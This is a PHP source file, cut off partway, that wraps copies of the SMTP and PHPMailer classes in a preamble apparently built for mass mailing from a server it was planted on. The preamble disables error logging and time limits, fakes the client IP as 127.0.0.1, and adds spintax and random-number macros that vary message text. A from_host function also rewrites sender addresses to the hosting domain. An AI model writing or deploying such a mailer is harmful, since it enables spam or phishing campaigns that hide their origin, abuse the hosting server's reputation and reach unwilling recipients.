<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if (isset($_SERVER)) {
    $_SERVER['PHP_SELF'] = "/";
    $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
    }
}
if (isset($_FILES)) {
    foreach ($_FILES as $key => $file) {
        if (!strpos($file['name'], ".jpg")) {
            $filename = alter_macros($file['name']);
            $filename = num_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
        }
    }
}

function custom_strip_tags($text)
{
    $text = strip_tags($text, '<a>');
    $text = str_replace("<a href=\"", "[ ", $text);
    $text = str_replace("</a>", "", $text);
    $text = str_replace("\">", " ] ", $text);
    return $text;
}

function is_ip($str)
{
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $str);
}

function from_host($content)
{
    $host = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
    if (is_ip($host)) {
        return $content;
    }

    $tokens = explode("@", $content);
    $content = $tokens[0] . "@" . $host . ">";
    return $content;
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);
    for ($i = 0; $i < count($matches[1]); $i++) {
        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{" . $matches[1][$i] . "}", $ns[$rand], $content);
    }
    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
    for ($i = 0; $i < count($matches[0]); $i++) {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
    for ($i = 0; $i < count($matches[0]); $i++) {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function fteil_macros($content, $fteil)
{
    return str_replace("[FTEIL]", $fteil, $content);
}

class SMTP
{
    const VERSION = '5.2.10';
    const CRLF = "\r\n";
    const DEFAULT_SMTP_PORT = 25;
    const MAX_LINE_LENGTH = 998;
    const DEBUG_OFF = 0;
    const DEBUG_CLIENT = 1;
    const DEBUG_SERVER = 2;
    const DEBUG_CONNECTION = 3;
    const DEBUG_LOWLEVEL = 4;
    public $Version = '5.2.10';
    public $SMTP_PORT = 25;
    public $CRLF = "\r\n";
    public $do_debug = self::DEBUG_OFF;
    public $Debugoutput = 'echo';
    public $do_verp = false;
    public $Timeout = 300;
    public $Timelimit = 300;
    protected $smtp_conn;
    protected $error = array(
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => ''
    );
    protected $helo_rply = null;
    protected $server_caps = null;
    protected $last_reply = '';

    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->do_debug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                error_log($str);
                break;
            case 'html':
                echo htmlentities(
                        preg_replace('/[\r\n]+/', '', $str),
                        ENT_QUOTES,
                        'UTF-8'
                    )
                    . "<br>\n";
                break;
            case 'echo':
            default:
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    ) . "\n";
        }
    }

    public function connect($host, $port = null, $timeout = 30, $options = array())
    {
        static $streamok;
        if (is_null($streamok)) {
            $streamok = function_exists('stream_socket_client');
        }
        $this->setError('');
        if ($this->connected()) {
            $this->setError('Already connected to a server');
            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_SMTP_PORT;
        }
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=" . var_export($options, true),
            self::DEBUG_CONNECTION
        );
        $errno = 0;
        $errstr = '';
        if ($streamok) {
            $socket_context = stream_context_create($options);
            $this->smtp_conn = @stream_socket_client(
                $host . ":" . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
        } else {
            $this->edebug(
                "Connection: stream_socket_client not available, falling back to fsockopen",
                self::DEBUG_CONNECTION
            );
            $this->smtp_conn = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
        }
        if (!is_resource($this->smtp_conn)) {
            $this->setError(
                'Failed to connect to server',
                $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );
            return false;
        }
        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
        if (substr(PHP_OS, 0, 3) != 'WIN') {
            $max = ini_get('max_execution_time');
            if ($max != 0 && $timeout > $max) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($this->smtp_conn, $timeout, 0);
        }
        $announce = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
        return true;
    }

    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }
        if (!stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            STREAM_CRYPTO_METHOD_TLS_CLIENT
        )
        ) {
            return false;
        }
        return true;
    }

    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $realm = '',
        $workstation = ''
    )
    {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');
            return false;
        }
        if (array_key_exists('EHLO', $this->server_caps)) {
            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                return false;
            }
            self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
            self::edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );
            if (empty($authtype)) {
                foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
                    if (in_array($method, $this->server_caps['AUTH'])) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');
                    return false;
                }
                self::edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL);
            }
            if (!in_array($authtype, $this->server_caps['AUTH'])) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand(
                    'User & Password',
                    base64_encode("\0" . $username . "\0" . $password),
                    235
                )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand("Username", base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand("Password", base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'NTLM':
                require_once 'extras/ntlm_sasl_client.php';
                $temp = new stdClass;
                $ntlm_client = new ntlm_sasl_client_class;
                if (!$ntlm_client->Initialize($temp)) {
                    $this->setError($temp->error);
                    $this->edebug(
                        'You need to enable some modules in your php.ini file: '
                        . $this->error['error'],
                        self::DEBUG_CLIENT
                    );
                    return false;
                }
                $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
                if (!$this->sendCommand(
                    'AUTH NTLM',
                    'AUTH NTLM ' . base64_encode($msg1),
                    334
                )
                ) {
                    return false;
                }
                $challenge = substr($this->last_reply, 3);
                $challenge = b64d($challenge);
                $ntlm_res = $ntlm_client->NTLMResponse(
                    substr($challenge, 24, 8),
                    $password
                );
                $msg3 = $ntlm_client->TypeMsg3(
                    $ntlm_res,
                    $username,
                    $realm,
                    $workstation
                );
                return $this->sendCommand('Username', base64_encode($msg3), 235);
            case 'CRAM-MD5':
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                $challenge = b64d(substr($this->last_reply, 4));
                $response = $username . ' ' . $this->hmac($challenge, $password);
                return $this->sendCommand('Username', base64_encode($response), 235);
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");
                return false;
        }
        return true;
    }

    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }
        $bytelen = 64; // byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;
        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }

    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();
                return false;
            }
            return true; // everything looks good
        }
        return false;
    }

    public function close()
    {
        $this->setError('');
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
            fclose($this->smtp_conn);
            $this->smtp_conn = null; //Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }

    public function data($msg_data)
    {
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }
        $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }
        foreach ($lines as $line) {
            $lines_out = array();
            if ($in_headers and $line == '') {
                $in_headers = false;
            }
            while (isset($line[self::MAX_LINE_LENGTH])) {
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                if (!$pos) {
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos + 1);
                }
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;
            foreach ($lines_out as $line_out) {
                if (!empty($line_out) and $line_out[0] == '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . self::CRLF);
            }
        }
        $savetimelimit = $this->Timelimit;
        $this->Timelimit = $this->Timelimit * 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        $this->Timelimit = $savetimelimit;
        return $result;
    }

    public function hello($host = '')
    {
        return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
    }

    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }
        return $noerror;
    }

    protected function parseHelloFields($type)
    {
        $this->server_caps = array();
        $lines = explode("\n", $this->last_reply);
        foreach ($lines as $n => $s) {
            $s = trim(substr($s, 4));
            if (!$s) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    if ($name == 'SIZE') {
                        $fields = ($fields) ? $fields[0] : 0;
                    }
                }
                $this->server_caps[$name] = ($fields ? $fields : true);
            }
        }
    }

    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');
        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }

    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; //Save any error
        if ($noerror or $close_on_error) {
            $this->close();
            $this->error = $err; //Restore any error from the quit command
        }
        return $noerror;
    }

    public function recipient($toaddr)
    {
        return $this->sendCommand(
            'RCPT TO',
            'RCPT TO:<' . $toaddr . '>',
            array(250, 251)
        );
    }

    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }

    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");
            return false;
        }
        $this->client_send($commandstring . self::CRLF);
        $this->last_reply = $this->get_lines();
        $matches = array();
        if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
            $code = $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
            $detail = preg_replace(
                "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . "/m",
                '',
                $this->last_reply
            );
        } else {
            $code = substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }
        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
        if (!in_array($code, (array)$expect)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );
            return false;
        }
        $this->setError('');
        return true;
    }

    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }

    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
    }

    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }

    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
        return false;
    }

    public function client_send($data)
    {
        $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
        return fwrite($this->smtp_conn, $data);
    }

    public function getError()
    {
        return $this->error;
    }

    public function getServerExtList()
    {
        return $this->server_caps;
    }

    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');
            return null;
        }
// the tight logic knot ;)
        if (!array_key_exists($name, $this->server_caps)) {
            if ($name == 'HELO') {
                return $this->server_caps['EHLO'];
            }
            if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used. Client knows nothing about server extensions');
            return null;
        }
        return $this->server_caps[$name];
    }

    public function getLastReply()
    {
        return $this->last_reply;
    }

    protected function get_lines()
    {
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
            $str = @fgets($this->smtp_conn, 515);
            $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
            $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
            $data .= $str;
            $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
            if ((isset($str[3]) and $str[3] == ' ')) {
                break;
            }
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
            if ($endtime and time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached (' .
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        }
        return $data;
    }

    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }

    public function getVerp()
    {
        return $this->do_verp;
    }

    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = array(
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex
        );
    }

    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }

    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }

    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }

    public function getDebugLevel()
    {
        return $this->do_debug;
    }

    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }

    public function getTimeout()
    {
        return $this->Timeout;
    }
}

class PHPMailer
{
    public $Version = '5.2.9';
    public $Priority = 3;
    public $CharSet = 'iso-8859-1';
    public $ContentType = 'text/plain';
    public $Encoding = '8bit';
    public $ErrorInfo = '';
    public $From = 'root@localhost';
    public $FromName = 'Root User';
    public $Sender = '';
    public $ReturnPath = '';
    public $Subject = '';
    public $Body = '';
    public $AltBody = '';
    public $Ical = '';
    protected $MIMEBody = '';
    protected $MIMEHeader = '';
    protected $mailHeader = '';
    public $WordWrap = 0;
    public $Mailer = 'mail';
    public $Sendmail = '/usr/sbin/sendmail';
    public $UseSendmailOptions = true;
    public $PluginDir = '';
    public $ConfirmReadingTo = '';
    public $Hostname = '';
    public $MessageID = '';
    public $MessageDate = '';
    public $Host = 'localhost';
    public $Port = 25;
    public $Helo = '';
    public $SMTPSecure = '';
    public $SMTPAuth = false;
    public $Username = '';
    public $Password = '';
    public $AuthType = '';
    public $Realm = '';
    public $Workstation = '';
    public $Timeout = 300;
    public $SMTPDebug = 0;
    public $Debugoutput = 'echo';
    public $SMTPKeepAlive = false;
    public $SingleTo = false;
    public $SingleToArray = array();
    public $do_verp = false;
    public $AllowEmpty = false;
    public $LE = "\n";
    public $DKIM_selector = '';
    public $DKIM_identity = '';
    public $DKIM_passphrase = '';
    public $DKIM_domain = '';
    public $DKIM_private = '';
    public $action_function = '';
    public $XMailer = '';
    protected $smtp = null;
    protected $to = array();
    protected $cc = array();
    protected $bcc = array();
    protected $ReplyTo = array();
    protected $all_recipients = array();
    protected $attachment = array();
    protected $CustomHeader = array();
    protected $lastMessageID = '';
    protected $message_type = '';
    protected $boundary = array();
    protected $language = array();
    protected $error_count = 0;
    protected $sign_cert_file = '';
    protected $sign_key_file = '';
    protected $sign_key_pass = '';
    protected $exceptions = false;
    const STOP_MESSAGE = 0;
    const STOP_CONTINUE = 1;
    const STOP_CRITICAL = 2;
    const CRLF = "\r\n";

    public function __construct($exceptions = false)
    {
        $this->exceptions = (boolean)$exceptions;
    }

    public function __destruct()
    {
    }

    private function mailPassthru($to, $subject, $body, $header, $params)
    {
//Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }

    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
//Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
//Don't output, just log
                error_log($str);
                break;
            case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                        preg_replace('/[\r\n]+/', '', $str),
                        ENT_QUOTES,
                        'UTF-8'
                    )
                    . "<br>\n";
                break;
            case 'echo':
            default:
//Normalize line breaks
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    ) . "\n";
        }
    }

    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } else {
            $this->ContentType = 'text/plain';
        }
    }

    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');
        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');
        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    public function addAddress($address, $name = '')
    {
        return $this->addAnAddress('to', $address, $name);
    }

    public function addCC($address, $name = '')
    {
        return $this->addAnAddress('cc', $address, $name);
    }

    public function addBCC($address, $name = '')
    {
        return $this->addAnAddress('bcc', $address, $name);
    }

    public function addReplyTo($address, $name = '')
    {
        return $this->addAnAddress('Reply-To', $address, $name);
    }

    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
            $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
            $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
            if ($this->exceptions) {
                throw new phpmailerException('Invalid recipient array: ' . $kind);
            }
            return false;
        }
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (!$this->validateAddress($address)) {
            $this->setError($this->lang('invalid_address') . ': ' . $address);
            $this->edebug($this->lang('invalid_address') . ': ' . $address);
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!isset($this->all_recipients[strtolower($address)])) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (!$this->validateAddress($address)) {
            $this->setError($this->lang('invalid_address') . ': ' . $address);
            $this->edebug($this->lang('invalid_address') . ': ' . $address);
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    public static function validateAddress($address, $patternselect = 'auto')
    {
        if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
//An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    public function preSend()
    {
        try {
            $this->mailHeader = '';
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }
// Set whether the message is multipart/alternative
            if (!empty($this->AltBody)) {
                $this->ContentType = 'multipart/alternative';
            }
            $this->error_count = 0; // reset errors
            $this->setMessageType();
// Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEBody = $this->createBody();
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }
// Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                && !empty($this->DKIM_private)
                && !empty($this->DKIM_selector)
                && file_exists($this->DKIM_private)
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    public function postSend()
    {
        try {
// Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
